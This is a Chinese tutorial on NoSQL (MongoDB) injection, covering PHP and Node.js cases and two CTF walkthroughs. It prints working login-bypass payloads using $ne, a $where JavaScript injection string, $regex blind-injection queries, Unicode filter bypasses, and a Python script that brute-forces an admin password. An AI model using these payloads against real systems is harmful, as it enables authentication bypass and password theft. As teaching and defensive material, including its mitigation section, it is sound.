Nosql 注入从零到一
字数 1531 2025-08-05 08:19:32
NoSQL注入从零到一:全面解析与实战指南
1. NoSQL基础概念
1.1 什么是NoSQL
NoSQL(Not Only SQL)是一种非关系型数据库技术,兴起于2009年,强调非关系型数据存储方式,与传统SQL数据库形成鲜明对比。
1.2 MongoDB简介
MongoDB是最流行的NoSQL数据库之一,特点包括:
- 基于分布式文件存储
- 文档型数据库,数据结构类似JSON
- 使用C++编写
- 高性能、可扩展
示例文档结构:
{
"_id": ObjectId("60fa854cf8aaaf4f21049148"),
"name": "whoami",
"description": "the admin user",
"age": 19,
"status": "A",
"groups": ["admins", "users"]
}
2. MongoDB核心概念对比
| SQL概念 | MongoDB概念 | 说明 |
|---|---|---|
| database | database | 数据库 |
| table | collection | 表/集合 |
| row | document | 数据行/文档 |
| column | field | 字段/域 |
| index | index | 索引 |
| table joins | - | MongoDB不支持 |
| primary key | primary key | 主键(_id字段) |
3. MongoDB基础操作
3.1 数据库操作
// 显示所有数据库
show dbs
// 切换/创建数据库
use DATABASE_NAME
// 显示当前数据库
db
3.2 集合操作
// 创建集合
db.createCollection("collection_name")
// 显示集合
show collections
// 或
show tables
3.3 文档CRUD操作
// 插入文档
db.collection.insert(document)
// 更新文档
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
// 查询文档
db.collection.find(query, projection)
// 删除文档
db.collection.remove(query)
4. NoSQL注入原理与分类
4.1 NoSQL注入特点
与传统SQL注入不同:
- 不使用通用查询语言
- 查询使用应用程序编程语言编写
- 可能执行应用程序代码而不仅是数据库命令
4.2 注入分类
4.2.1 按语言分类
- PHP数组注入
- JavaScript注入
- Mongo Shell拼接注入
4.2.2 按攻击机制分类
- 重言式注入:构造永真条件绕过认证
- 联合查询注入:改变查询返回数据集
- JavaScript注入:执行任意JavaScript代码
- 盲注:无回显时的布尔盲注
5. PHP中的MongoDB注入
5.1 重言式注入
利用$ne(不等于)等操作符构造永真条件:
// 原始查询
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
// 注入payload
username[$ne]=1&password[$ne]=1
转换为MongoDB查询:
db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
其他可用操作符:
$gt(大于)$gte(大于等于)$lt(小于)$lte(小于等于)
5.2 JavaScript注入
5.2.1 $where操作符注入
$function = "function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}";
注入payload:
username=1&password=1';return true;var a='1
5.2.2 Command方法注入
危险的使用方式:
$cmd = new \MongoDB\Driver\Command([
'eval' => "print('Hello, $username!');"
]);
5.3 布尔盲注
使用$regex进行正则匹配:
// 判断密码长度
username=admin&password[$regex]=.{6} // 成功
username=admin&password[$regex]=.{7} // 失败
// 逐字符爆破
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
...
Python盲注脚本示例:
import requests
import string
password = ''
url = 'http://example.com/login.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c
6. Node.js中的MongoDB注入
6.1 重言式注入
绕过登录的JSON payload:
{"username":{"$ne":1},"password": {"$ne":1}}
6.2 Unicode编码绕过
当$ne等关键字被过滤时:
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// 等价于
{"username":{"$ne":1},"password": {"$ne":1}}
7. NoSQL注入防御措施
- 输入验证:严格校验用户输入
- 参数化查询:使用驱动程序提供的安全方法
- 最小权限原则:限制数据库账户权限
- 禁用危险功能:如
$where和eval - 使用ORM:如Mongoose提供内置保护
- 编码转换:对特殊字符进行转义
8. CTF实战案例
8.1 [2021 MRCTF]Half-Nosqli
解题步骤:
- 发现Swagger UI接口
- 使用NoSQL永真式绕过登录:
{ "email": {"$ne": ""}, "password": {"$ne": ""} } - 获取token后利用SSRF漏洞
8.2 [GKCTF 2021]hackme
解题步骤:
- 发现NoSQL注入提示
- 使用Unicode编码绕过过滤:
{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}} - 编写盲注脚本爆破管理员密码
9. 总结
NoSQL注入虽然与传统SQL注入有所不同,但危害同样严重。理解MongoDB的查询语法和操作符是发现和利用NoSQL注入的关键。防御方面,应始终遵循安全编码实践,不信任任何用户输入,并使用数据库驱动提供的安全方法进行查询。